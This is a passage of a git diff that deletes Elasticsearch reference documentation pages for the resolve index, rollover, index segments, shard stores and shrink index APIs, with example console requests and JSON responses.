-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-[[resolve-index-api-example]]
-==== {api-examples-title}
-
-[source,console]
-----
-GET /_resolve/index/f*,remoteCluster1:bar*?expand_wildcards=all
-----
-// TEST[continued]
-// TEST[s/remoteCluster1:/remotecluster-/]
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "indices": [                                 <1>
-    {
-      "name": "foo_closed",
-      "attributes": [
-        "closed"
-      ]
-    },
-    {
-      "name": "freeze-index",
-      "aliases": [
-        "f-alias"
-      ],
-      "attributes": [
-        "frozen",
-        "open"
-      ]
-    },
-    {
-      "name": "remoteCluster1:bar-01",
-      "attributes": [
-        "open"
-      ]
-    }
-  ],
-  "aliases": [                                 <2>
-    {
-      "name": "f-alias",
-      "indices": [
-        "freeze-index",
-        "my-index-000001"
-      ]
-    }
-  ],
-  "data_streams": [                            <3>
-    {
-      "name": "foo",
-      "backing_indices": [
-        ".ds-foo-000001"
-      ],
-      "timestamp_field": "@timestamp"
-    }
-  ]
-}
-----
-// TESTRESPONSE[s/remoteCluster1:/remotecluster-/]
-<1> All indices matching the supplied names or expressions
-<2> All aliases matching the supplied names or expressions
-<3> All data streams matching the supplied names or expressions
diff --git a/docs/reference/indices/rollover-index.asciidoc b/docs/reference/indices/rollover-index.asciidoc
deleted file mode 100644
index 55270a4f237..00000000000
--- a/docs/reference/indices/rollover-index.asciidoc
+++ /dev/null
@@ -1,549 +0,0 @@
-[[indices-rollover-index]]
-=== Rollover index API
-++++
-<titleabbrev>Rollover index</titleabbrev>
-++++
-
-Creates a new index for a rollover target when the target's existing index meets
-a condition you provide. A rollover target can be either an
-<<indices-aliases, index alias>> or a
-<<indices-create-data-stream, data stream>>. When targeting an alias, the alias
-is updated to point to the new index. When targeting a data stream, the new
-index becomes the data stream's write index and its generation is incremented.
-
-[source,console]
-----
-POST /alias1/_rollover/my-index-000002
-{
-  "conditions": {
-    "max_age":   "7d",
-    "max_docs":  1000,
-    "max_size": "5gb"
-  }
-}
-----
-// TEST[s/^/PUT my_old_index_name\nPUT my_old_index_name\/_alias\/alias1\n/]
-
-
-[[rollover-index-api-request]]
-==== {api-request-title}
-
-
-`POST /<rollover-target>/_rollover/<target-index>`
-
-`POST /<rollover-target>/_rollover/`
-
-
-[[rollover-index-api-desc]]
-==== {api-description-title}
-
-The rollover index API rolls a rollover target to a new index when
-the existing index meets a condition you provide. You can use this API to retire
-an index that becomes too large or too old.
-
-NOTE: To roll over an index, a condition must be met *when you call the API*.
-{es} does not monitor the index after you receive an API response. To
-automatically roll over indices when a condition is met, you can use {es}'s
-<<index-lifecycle-management, index lifecycle management (ILM) policies>>.
-
-The rollover index API accepts a rollover target name
-and a list of `conditions`.
-
-If the specified rollover target is an alias pointing to a single index,
-the rollover request:
-
-. Creates a new index
-. Adds the alias to the new index
-. Removes the alias from the original index
-
-If the specified rollover target is an alias pointing to multiple indices,
-one of these indices must have `is_write_index` set to `true`.
-In this case, the rollover request:
-
-. Creates a new index
-. Sets `is_write_index` to `true` for the new index
-. Sets `is_write_index` to `false` for the original index
-
-If the specified rollover target is a data stream, the rollover request:
-
-. Creates a new index
-. Adds the new index as a backing index and the write index on the data stream
-. Increments the `generation` attribute of the data stream
-
-[[rollover-wait-active-shards]]
-===== Wait for active shards
-
-Because the rollover operation creates a new index to rollover to, the
-<<create-index-wait-for-active-shards,`wait_for_active_shards`>> setting on
-index creation applies to the rollover action.
-
-
-[[rollover-index-api-path-params]]
-==== {api-path-parms-title}
-
-`<rollover-target>`::
-(Required*, string)
-Name of the existing index alias or data stream on which to
-to assign to the target index.	perform the rollover.
-
-
-`<target-index>`::
-+
---
-(Optional*, string)
-Name of the target index to create and assign the index alias.
-
-include::{es-repo-dir}/indices/create-index.asciidoc[tag=index-name-reqs]
-
-*This parameter is not permitted if `rollover-target` is a data stream. In
-that case, the new index name will be in the form `.ds-<rollover-target>-000001`
-where the zero-padded number of length 6 is the generation of the data stream.
-
-If `rollover-target` is an alias that is assigned to an index name that ends
-with `-` and a number such as `logs-000001`. In this case, the name of the new
-index follows the same pattern and increments the number. For example,
-`logs-000001` increments to `logs-000002`. This number is zero-padded with a
-length of 6, regardless of the prior index name.
-
-If the existing index for the alias does not match this pattern, this parameter
-is required.
-
---
-
-
-[[rollover-index-api-query-params]]
-==== {api-query-parms-title}
-
-`dry_run`::
-(Optional, Boolean)
-If `true`,
-the request checks whether the index matches provided conditions
-but does not perform a rollover.
-Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-type-name]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[rollover-index-api-request-body]]
-==== {api-request-body-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=aliases]
-
-`conditions`::
-+
---
-(Optional, object)
-If supplied, the set of conditions the rollover target's existing index must
-meet to roll over. If omitted, the rollover will be performed unconditionally.
-
-Parameters include:
-
-`max_age`::
-(Optional, <<time-units, time units>>)
-Maximum age of the index.
-
-`max_docs`::
-(Optional, integer)
-Maximum number of documents in the index.
-Documents added since the last refresh are not included in the document count.
-The document count does *not* include documents in replica shards.
-
-`max_size`::
-(Optional, <<byte-units, byte units>>)
-Maximum index size.
-This is the total size of all primary shards in the index.
-Replicas are not counted toward the maximum index size.
-
-TIP: To see the current index size, use the <<cat-indices, _cat indices>> API.
-The `pri.store.size` value shows the combined size of all primary shards.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=mappings]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=settings]
-
-
-[[rollover-index-api-example]]
-==== {api-examples-title}
-
-[[rollover-index-basic-ex]]
-===== Basic example
-
-[source,console]
---------------------------------------------------
-PUT /logs-000001 <1>
-{
-  "aliases": {
-    "logs_write": {}
-  }
-}
-
-# Add > 1000 documents to logs-000001
-
-POST /logs_write/_rollover <2>
-{
-  "conditions": {
-    "max_age":   "7d",
-    "max_docs":  1000,
-    "max_size":  "5gb"
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index_huge]
-// TEST[s/# Add > 1000 documents to logs-000001/POST _reindex?refresh\n{"source":{"index":"my-index-000001"},"dest":{"index":"logs-000001"}}/]
-<1> Creates an index called `logs-0000001` with the alias `logs_write`.
-<2> If the index pointed to by `logs_write` was created 7 or more days ago, or
-    contains 1,000 or more documents, or has an index size at least around 5GB, then the `logs-000002` index is created
-    and the `logs_write` alias is updated to point to `logs-000002`.
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged": true,
-  "shards_acknowledged": true,
-  "old_index": "logs-000001",
-  "new_index": "logs-000002",
-  "rolled_over": true, <1>
-  "dry_run": false, <2>
-  "conditions": { <3>
-    "[max_age: 7d]": false,
-    "[max_docs: 1000]": true,
-    "[max_size: 5gb]": false,
-  }
-}
---------------------------------------------------
-
-<1> Whether the index was rolled over.
-<2> Whether the rollover was dry run.
-<3> The result of each condition.
-
-
-[[rollover-data-stream-ex]]
-===== Roll over a data stream
-
-[source,console]
------------------------------------
-PUT _index_template/template
-{
-  "index_patterns": ["my-data-stream*"],
-  "data_stream": { }
-}
------------------------------------
-
-[source,console]
---------------------------------------------------
-PUT /_data_stream/my-data-stream <1>
-
-# Add > 1000 documents to my-data-stream
-
-POST /my-data-stream/_rollover <2>
-{
-  "conditions" : {
-    "max_age": "7d",
-    "max_docs": 1000,
-    "max_size": "5gb"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[setup:my_index_huge]
-// TEST[s/# Add > 1000 documents to my-data-stream/POST _reindex?refresh\n{ "source": { "index": "my-index-000001" }, "dest": { "index": "my-data-stream", "op_type": "create" } }/]
-<1> Creates a data stream called `my-data-stream` with one initial backing index
-named `my-data-stream-000001`.
-<2> This request creates a new backing index, `my-data-stream-000002`, and adds
-it as the write index for `my-data-stream` if the current
-write index meets at least one of the following conditions:
-+
---
-* The index was created 7 or more days ago.
-* The index has an index size of 5GB or greater.
-* The index contains 1,000 or more documents.
---
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged": true,
-  "shards_acknowledged": true,
-  "old_index": ".ds-my-data-stream-000001", <1>
-  "new_index": ".ds-my-data-stream-000002", <2>
-  "rolled_over": true, <3>
-  "dry_run": false, <4>
-  "conditions": { <5>
-    "[max_age: 7d]": false,
-    "[max_docs: 1000]": true,
-    "[max_size: 5gb]": false,
-  }
-}
---------------------------------------------------
-
-<1> The previous write index for the data stream.
-<2> The new write index for the data stream.
-<3> Whether the index was rolled over.
-<4> Whether the rollover was dry run.
-<5> The result of each condition.
-
-////
-[source,console]
------------------------------------
-DELETE /_data_stream/my-data-stream
-DELETE /_index_template/template
------------------------------------
-// TEST[continued]
-////
-
-[[rollover-index-settings-ex]]
-===== Specify settings for the target index
-
-The settings, mappings, and aliases for the new index are taken from any
-matching <<index-templates,index templates>>. If the rollover target is an
-index alias, you can specify `settings`, `mappings`, and `aliases` in the body
-of the request just like the <<indices-create-index,create index>> API. Values
-specified in the request override any values set in matching index templates.
-For example, the following `rollover` request overrides the
-`index.number_of_shards` setting:
-
-[source,console]
---------------------------------------------------
-PUT /logs-000001
-{
-  "aliases": {
-    "logs_write": {}
-  }
-}
-
-POST /logs_write/_rollover
-{
-  "conditions" : {
-    "max_age": "7d",
-    "max_docs": 1000,
-    "max_size": "5gb"
-  },
-  "settings": {
-    "index.number_of_shards": 2
-  }
-}
---------------------------------------------------
-
-
-[[rollover-index-specify-index-ex]]
-===== Specify a target index name
-
-If the rollover target is an index alias and the name of the existing index ends
-with `-` and a number -- e.g. `logs-000001` -- then the name of the new index
-will follow the same pattern, incrementing the number (`logs-000002`). The
-number is zero-padded with a length of 6, regardless of the old index name.
-
-If the old name doesn't match this pattern then you must specify the name for
-the new index as follows:
-
-[source,console]
---------------------------------------------------
-POST /my_alias/_rollover/my_new_index_name
-{
-  "conditions": {
-    "max_age":   "7d",
-    "max_docs":  1000,
-    "max_size": "5gb"
-  }
-}
---------------------------------------------------
-// TEST[s/^/PUT my_old_index_name\nPUT my_old_index_name\/_alias\/my_alias\n/]
-
-
-[[_using_date_math_with_the_rollover_api]]
-===== Use date math with a rollover
-
-If the rollover target is an index alias, it can be useful to use
-<<date-math-index-names,date math>> to name the rollover index according to the
-date that the index rolled over, e.g. `logstash-2016.02.03`.  The rollover API
-supports date math, but requires the index name to end with a dash followed by
-a number, e.g. `logstash-2016.02.03-1` which is incremented every time the
-index is rolled over. For instance:
-
-[source,console]
---------------------------------------------------
-# PUT /<logs-{now/d}-1> with URI encoding:
-PUT /%3Clogs_%7Bnow%2Fd%7D-1%3E <1>
-{
-  "aliases": {
-    "logs_write": {}
-  }
-}
-
-PUT logs_write/_doc/1
-{
-  "message": "a dummy log"
-}
-
-POST logs_write/_refresh
-
-# Wait for a day to pass
-
-POST /logs_write/_rollover <2>
-{
-  "conditions": {
-    "max_docs":   "1"
-  }
-}
---------------------------------------------------
-// TEST[s/now/2016.10.31%7C%7C/]
-
-<1> Creates an index named with today's date (e.g.) `logs_2016.10.31-1`
-<2> Rolls over to a new index with today's date, e.g. `logs_2016.10.31-000002` if run immediately, or `logs-2016.11.01-000002` if run after 24 hours
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET _alias
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "logs_2016.10.31-000002": {
-    "aliases": {
-      "logs_write": {}
-    }
-  },
-  "logs_2016.10.31-1": {
-    "aliases": {}
-  }
-}
---------------------------------------------------
-
-//////////////////////////
-
-These indices can then be referenced as described in the
-<<date-math-index-names,date math documentation>>.  For example, to search
-over indices created in the last three days, you could do the following:
-
-[source,console]
---------------------------------------------------
-# GET /<logs-{now/d}-*>,<logs-{now/d-1d}-*>,<logs-{now/d-2d}-*>/_search
-GET /%3Clogs-%7Bnow%2Fd%7D-*%3E%2C%3Clogs-%7Bnow%2Fd-1d%7D-*%3E%2C%3Clogs-%7Bnow%2Fd-2d%7D-*%3E/_search
---------------------------------------------------
-// TEST[continued]
-// TEST[s/now/2016.10.31%7C%7C/]
-
-
-[[rollover-index-api-dry-run-ex]]
-===== Dry run
-
-The rollover API supports `dry_run` mode, where request conditions can be
-checked without performing the actual rollover.
-
-[source,console]
---------------------------------------------------
-POST /logs_write/_rollover?dry_run
-{
-  "conditions" : {
-    "max_age": "7d",
-    "max_docs": 1000,
-    "max_size": "5gb"
-  }
-}
---------------------------------------------------
-// TEST[s/^/PUT logs-000001\nPUT logs-000001\/_alias\/logs_write\n/]
-
-
-[[indices-rollover-is-write-index]]
-===== Roll over a write index
-
-If the rollover target is an index alias for  a write index that has `is_write_index` explicitly set to `true`, it is not
-swapped during rollover actions. Since having an alias point to multiple indices is ambiguous in distinguishing
-which is the correct write index to roll over, it is not valid to rollover an alias that points to multiple indices.
-For this reason, the default behavior is to swap which index is being pointed to by the write-oriented alias. This
-was `logs_write` in some of the above examples. Since setting `is_write_index` enables an alias to point to multiple indices
-while also being explicit as to which is the write index that rollover should target, removing the alias from the rolled over
-index is not necessary. This simplifies things by allowing for one alias to behave both as the write and read aliases for
-indices that are being managed with Rollover.
-
-Look at the behavior of the aliases in the following example where `is_write_index` is set on the rolled over index.
-
-[source,console]
---------------------------------------------------
-PUT my_logs_index-000001
-{
-  "aliases": {
-    "logs": { "is_write_index": true } <1>
-  }
-}
-
-PUT logs/_doc/1
-{
-  "message": "a dummy log"
-}
-
-POST logs/_refresh
-
-POST /logs/_rollover
-{
-  "conditions": {
-    "max_docs":   "1"
-  }
-}
-
-PUT logs/_doc/2 <2>
-{
-  "message": "a newer log"
-}
---------------------------------------------------
-
-<1> configures `my_logs_index` as the write index for the `logs` alias
-<2> newly indexed documents against the `logs` alias will write to the new index
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index" : "my_logs_index-000002",
-  "_type" : "_doc",
-  "_id" : "2",
-  "_version" : 1,
-  "result" : "created",
-  "_shards" : {
-    "total" : 2,
-    "successful" : 1,
-    "failed" : 0
-  },
-  "_seq_no" : 0,
-  "_primary_term" : 1
-}
---------------------------------------------------
-
-//////////////////////////
-[source,console]
---------------------------------------------------
-GET my_logs_index-000001,my_logs_index-000002/_alias
---------------------------------------------------
-// TEST[continued]
-//////////////////////////
-
-After the rollover, the alias metadata for the two indices will have the `is_write_index` setting
-reflect each index's role, with the newly created index as the write index.
-
-[source,console-result]
---------------------------------------------------
-{
-  "my_logs_index-000002": {
-    "aliases": {
-      "logs": { "is_write_index": true }
-    }
-  },
-  "my_logs_index-000001": {
-    "aliases": {
-      "logs": { "is_write_index" : false }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/indices/segments.asciidoc b/docs/reference/indices/segments.asciidoc
deleted file mode 100644
index 89bcce73322..00000000000
--- a/docs/reference/indices/segments.asciidoc
+++ /dev/null
@@ -1,226 +0,0 @@
-[[indices-segments]]
-=== Index segments API
-++++
-<titleabbrev>Index segments</titleabbrev>
-++++
-
-Returns low-level information about the https://lucene.apache.org/core/[Lucene]
-segments in index shards. For data streams, the API returns information about
-the stream's backing indices.
-
-[source,console]
-----
-GET /my-index-000001/_segments
-----
-// TEST[setup:my_index]
-
-
-[[index-segments-api-request]]
-==== {api-request-title}
-
-`GET /<target>/_segments`
-
-`GET /_segments`
-
-
-[[index-segments-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-
-[[index-segments-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-`verbose`::
-experimental:[]
-(Optional, Boolean)
-If `true`, the response includes detailed information
-about Lucene's memory usage.
-Defaults to `false`.
-
-
-[[index-segments-api-response-body]]
-==== {api-response-body-title}
-
-`<segment>`::
-(String)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=segment]
-
-`generation`::
-(Integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=generation]
-
-`num_docs`::
-(Integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=docs-count]
-
-`deleted_docs`::
-(Integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=docs-deleted]
-
-`size_in_bytes`::
-(Integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=segment-size]
-
-`memory_in_bytes`::
-(Integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=memory]
-
-`committed`::
-(Boolean)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=committed]
-
-`search`::
-(Boolean)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=segment-search]
-
-`version`::
-(String)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=segment-version]
-
-`compound`::
-(Boolean)
-If `true`, Lucene merged all files from the segment
-into a single file to save file descriptors.
-
-`attributes`::
-(Object)
-Contains information about whether high compression was enabled.
-
-
-[[index-segments-api-example]]
-==== {api-examples-title}
-
-
-===== Get segment information for a specific data stream or index
-
-[source,console]
---------------------------------------------------
-GET /test/_segments
---------------------------------------------------
-// TEST[s/^/PUT test\n{"settings":{"number_of_shards":1, "number_of_replicas": 0}}\nPOST test\/test\?refresh\n{"test": "test"}\n/]
-
-
-===== Get segment information for several data streams and indices
-
-[source,console]
---------------------------------------------------
-GET /test1,test2/_segments
---------------------------------------------------
-// TEST[s/^/PUT test1\nPUT test2\n/]
-
-
-===== Get segment information for all data streams and indices in a cluster
-
-[source,console]
---------------------------------------------------
-GET /_segments
---------------------------------------------------
-// TEST[s/^/PUT test\n{"settings":{"number_of_shards":1, "number_of_replicas": 0}}\nPOST test\/test\?refresh\n{"test": "test"}\n/]
-
-The API returns the following response:
-
-[source,console-response]
---------------------------------------------------
-{
-  "_shards": ...
-  "indices": {
-    "test": {
-      "shards": {
-        "0": [
-          {
-            "routing": {
-              "state": "STARTED",
-              "primary": true,
-              "node": "zDC_RorJQCao9xf9pg3Fvw"
-            },
-            "num_committed_segments": 0,
-            "num_search_segments": 1,
-            "segments": {
-              "_0": {
-                "generation": 0,
-                "num_docs": 1,
-                "deleted_docs": 0,
-                "size_in_bytes": 3800,
-                "memory_in_bytes": 1410,
-                "committed": false,
-                "search": true,
-                "version": "7.0.0",
-                "compound": true,
-                "attributes": {
-                }
-              }
-            }
-          }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards,/]
-// TESTRESPONSE[s/"node": "zDC_RorJQCao9xf9pg3Fvw"/"node": $body.$_path/]
-// TESTRESPONSE[s/"attributes": \{[^}]*\}/"attributes": $body.$_path/]
-// TESTRESPONSE[s/: (\-)?[0-9]+/: $body.$_path/]
-// TESTRESPONSE[s/7\.0\.0/$body.$_path/]
-
-
-===== Verbose mode
-
-To add additional information that can be used for debugging,
-use the `verbose` flag.
-
-experimental::[]
-
-[source,console]
---------------------------------------------------
-GET /test/_segments?verbose=true
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-response]
---------------------------------------------------
-{
-  ...
-    "_0": {
-      ...
-      "ram_tree": [
-        {
-          "description": "postings [PerFieldPostings(format=1)]",
-          "size_in_bytes": 2696,
-          "children": [
-            {
-              "description": "format 'Lucene50_0' ...",
-              "size_in_bytes": 2608,
-              "children" :[ ... ]
-            },
-            ...
-          ]
-        },
-        ...
-      ]
-
-    }
-  ...
-}
---------------------------------------------------
-// TESTRESPONSE[skip:Response is too verbose to be fully shown in documentation, so we just show the relevant bit and don't test the response.]
diff --git a/docs/reference/indices/shard-stores.asciidoc b/docs/reference/indices/shard-stores.asciidoc
deleted file mode 100644
index c82cd1e0705..00000000000
--- a/docs/reference/indices/shard-stores.asciidoc
+++ /dev/null
@@ -1,187 +0,0 @@
-[[indices-shards-stores]]
-=== Index shard stores API
-++++
-<titleabbrev>Index shard stores</titleabbrev>
-++++
-
-Retrieves store information
-about replica shards in one or more indices.
-For data streams, the API retrieves store
-information for the stream's backing indices.
-
-[source,console]
-----
-GET /my-index-000001/_shard_stores
-----
-// TEST[setup:my_index]
-
-
-[[index-shard-stores-api-request]]
-==== {api-request-title}
-
-`GET /<target>/_shard_stores`
-
-`GET /_shard_stores`
-
-
-[[index-shard-stores-api-desc]]
-==== {api-description-title}
-
-The index shard stores API returns the following information:
-
-* The node on which each replica shard exists
-* Allocation ID for each replica shard
-* Unique ID for each replica shard
-* Any errors encountered
-  while opening the shard index
-  or from an earlier failure
-
-By default, the API only returns store information
-for primary shards that are unassigned
-or have one or more unassigned replica shards.
-
-
-[[index-shard-stores-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-
-[[index-shard-stores-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-`status`::
-+
---
-(Optional, string)
-Comma-separated list of shard health statuses
-used to limit the request.
-
-Valid values include:
-
-`green`::
-The primary shard and all replica shards are assigned.
-
-`yellow`::
-One or more replica shards are unassigned.
-
-`red`::
-The primary shard is unassigned.
-
-`all`::
-Return all shards,
-regardless of health status.
-
-Defaults to `yellow,red`.
---
-
-[[index-shard-stores-api-example]]
-==== {api-examples-title}
-
-
-[[index-shard-stores-api-single-ex]]
-===== Get shard store information for a specific data stream or index
-
-[source,console]
-----
-GET /test/_shard_stores
-----
-// TEST[s/^/PUT test\n/]
-
-
-[[index-shard-stores-api-multi-ex]]
-===== Get shard store information for several data streams and indices
-
-[source,console]
-----
-GET /test1,test2/_shard_stores
-----
-// TEST[s/^/PUT test1\nPUT test2\n/]
-
-
-[[index-shard-stores-api-all-ex]]
-===== Get shard store information for all data streams and indices
-
-[source,console]
-----
-GET /_shard_stores
-----
-// TEST[continued]
-
-
-[[index-shard-stores-api-health-ex]]
-===== Get shard store information based on cluster health
-
-You can use the `status` query parameter
-to limit returned information based on shard health.
-
-The following request only returns information
-for assigned primary and replica shards.
-
-[source,console]
---------------------------------------------------
-GET /_shard_stores?status=green
---------------------------------------------------
-// TEST[setup:node]
-// TEST[s/^/PUT my-index-00001\n{"settings":{"number_of_shards":1, "number_of_replicas": 0}}\nPOST my-index-00001\/test\?refresh\n{"test": "test"}\n/]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "indices": {
-    "my-index-00001": {
-      "shards": {
-        "0": {                                          <1>
-          "stores": [                                   <2>
-            {
-            "sPa3OgxLSYGvQ4oPs-Tajw": {                 <3>
-              "name": "node_t0",
-              "ephemeral_id": "9NlXRFGCT1m8tkvYCMK-8A",
-              "transport_address": "local[1]",
-              "attributes": {}
-            },
-            "allocation_id": "2iNySv_OQVePRX-yaRH_lQ",  <4>
-            "allocation": "primary|replica|unused"      <5>
-            "store_exception": ...                      <6>
-            }
-          ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"store_exception": \.\.\.//]
-// TESTRESPONSE[s/"sPa3OgxLSYGvQ4oPs-Tajw"/\$node_name/]
-// TESTRESPONSE[s/: "[^"]*"/: $body.$_path/]
-// TESTRESPONSE[s/"attributes": \{[^}]*\}/"attributes": $body.$_path/]
-
-
-
-<1> The key is the corresponding shard id for the store information
-<2> A list of store information for all copies of the shard
-<3> The node information that hosts a copy of the store, the key
-    is the unique node id.
-<4> The allocation id of the store copy
-<5> The status of the store copy, whether it is used as a
-    primary, replica or not used at all
-<6> Any exception encountered while opening the shard index or
-    from earlier engine failure
diff --git a/docs/reference/indices/shrink-index.asciidoc b/docs/reference/indices/shrink-index.asciidoc
deleted file mode 100644
index 5a32a3f1987..00000000000
--- a/docs/reference/indices/shrink-index.asciidoc
+++ /dev/null
@@ -1,229 +0,0 @@
-[[indices-shrink-index]]
-=== Shrink index API
-++++
-<titleabbrev>Shrink index</titleabbrev>
-++++
-
-Shrinks an existing index into a new index with fewer primary shards.
-
-
-[source,console]
-----
-POST /my-index-000001/_shrink/shrunk-my-index-000001
-----
-// TEST[s/^/PUT my-index-000001\n{"settings":{"index.number_of_shards":2,"blocks.write":true}}\n/]
-
-
-[[shrink-index-api-request]]
-==== {api-request-title}
-
-`POST /<index>/_shrink/<target-index>`
-
-`PUT /<index>/_shrink/<target-index>`
-
-
-[[shrink-index-api-prereqs]]
-==== {api-prereq-title}
-
-Before you can shrink an index:
-
-* The index must be read-only.
-* All primary shards for the index must reside on the same node.
-* The index must have a `green` <<cluster-health,health status>>.
-
-To make shard allocation easier, we recommend you also remove the index's
-replica shards. You can later re-add replica shards as part of the shrink
-operation.
-
-You can use the following <<indices-update-settings,update index settings API>>
-request to remove an index's replica shards, relocates the index's remaining
-shards to the same node, and make the index read-only.
-
-[source,console]
---------------------------------------------------
-PUT /my_source_index/_settings
-{
-  "settings": {
-    "index.number_of_replicas": 0,                                <1>
-    "index.routing.allocation.require._name": "shrink_node_name", <2>
-    "index.blocks.write": true                                    <3>
-  }
-}
---------------------------------------------------
-// TEST[s/^/PUT my_source_index\n{"settings":{"index.number_of_shards":2}}\n/]
-
-<1> Removes replica shards for the index.
-<2> Relocates the index's shards to the `shrink_node_name` node. 
-    See <<shard-allocation-filtering>>.
-<3> Prevents write operations to this index. Metadata changes, such as deleting
-    the index, are still allowed.
-
-
-It can take a while to relocate the source index.  Progress can be tracked
-with the <<cat-recovery,`_cat recovery` API>>, or the <<cluster-health,
-`cluster health` API>> can be used to wait until all shards have relocated
-with the `wait_for_no_relocating_shards` parameter.
-
-
-[[shrink-index-api-desc]]
-==== {api-description-title}
-
-The shrink index API allows you to shrink an existing index into a new index
-with fewer primary shards. The requested number of primary shards in the target index
-must be a factor of the number of shards in the source index. For example an index with
-`8` primary shards can be shrunk into `4`, `2` or `1` primary shards or an index
-with `15` primary shards can be shrunk into `5`, `3` or `1`. If the number
-of shards in the index is a prime number it can only be shrunk into a single
-primary shard. Before shrinking, a (primary or replica) copy of every shard
-in the index must be present on the same node.
-
-The current write index on a data stream cannot be shrunk. In order to shrink
-the current write index, the data stream must first be
-<<rollover-data-stream-ex,rolled over>> so that a new write index is created
-and then the previous write index can be shrunk.
-
-[[how-shrink-works]]
-===== How shrinking works
-
-A shrink operation:
-
-. Creates a new target index with the same definition as the source
-  index, but with a smaller number of primary shards.
-
-. Hard-links segments from the source index into the target index. (If
-  the file system doesn't support hard-linking, then all segments are copied
-  into the new index, which is a much more time consuming process. Also if using
-  multiple data paths, shards on different data paths require a full copy of
-  segment files if they are not on the same disk since hardlinks don’t work across
-  disks)
-
-. Recovers the target index as though it were a closed index which
-  had just been re-opened.
-
-
-[[_shrinking_an_index]]
-===== Shrink an index
-
-To shrink `my_source_index` into a new index called `my_target_index`, issue
-the following request:
-
-[source,console]
---------------------------------------------------
-POST /my_source_index/_shrink/my_target_index
-{
-  "settings": {
-    "index.routing.allocation.require._name": null, <1>
-    "index.blocks.write": null <2>
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> Clear the allocation requirement copied from the source index.
-<2> Clear the index write block copied from the source index.
-
-The above request returns immediately once the target index has been added to
-the cluster state -- it doesn't wait for the shrink operation to start.
-
-[IMPORTANT]
-=====================================
-
-Indices can only be shrunk if they satisfy the following requirements:
-
-* The target index must not exist.
-
-* The source index must have more primary shards than the target index.
-
-* The number of primary shards in the target index must be a factor of the
-  number of primary shards in the source index. The source index must have
-  more primary shards than the target index.
-
-* The index must not contain more than `2,147,483,519` documents in total
-  across all shards that will be shrunk into a single shard on the target index
-  as this is the maximum number of docs that can fit into a single shard.
-
-* The node handling the shrink process must have sufficient free disk space to
-  accommodate a second copy of the existing index.
-
-=====================================
-
-The `_shrink` API is similar to the <<indices-create-index, `create index` API>>
-and accepts `settings` and `aliases` parameters for the target index:
-
-[source,console]
---------------------------------------------------
-POST /my_source_index/_shrink/my_target_index
-{
-  "settings": {
-    "index.number_of_replicas": 1,
-    "index.number_of_shards": 1, <1>
-    "index.codec": "best_compression" <2>
-  },
-  "aliases": {
-    "my_search_indices": {}
-  }
-}
---------------------------------------------------
-// TEST[s/^/PUT my_source_index\n{"settings": {"index.number_of_shards":5,"index.blocks.write": true}}\n/]
-
-<1> The number of shards in the target index. This must be a factor of the
-    number of shards in the source index.
-<2> Best compression will only take affect when new writes are made to the
-    index, such as when <<indices-forcemerge,force-merging>> the shard to a single
-    segment.
-
-
-NOTE: Mappings may not be specified in the `_shrink` request.
-
-
-[[monitor-shrink]]
-===== Monitor the shrink process
-
-The shrink process can be monitored with the <<cat-recovery,`_cat recovery`
-API>>, or the <<cluster-health, `cluster health` API>> can be used to wait
-until all primary shards have been allocated by setting the  `wait_for_status`
-parameter to `yellow`.
-
-The `_shrink` API returns as soon as the target index has been added to the
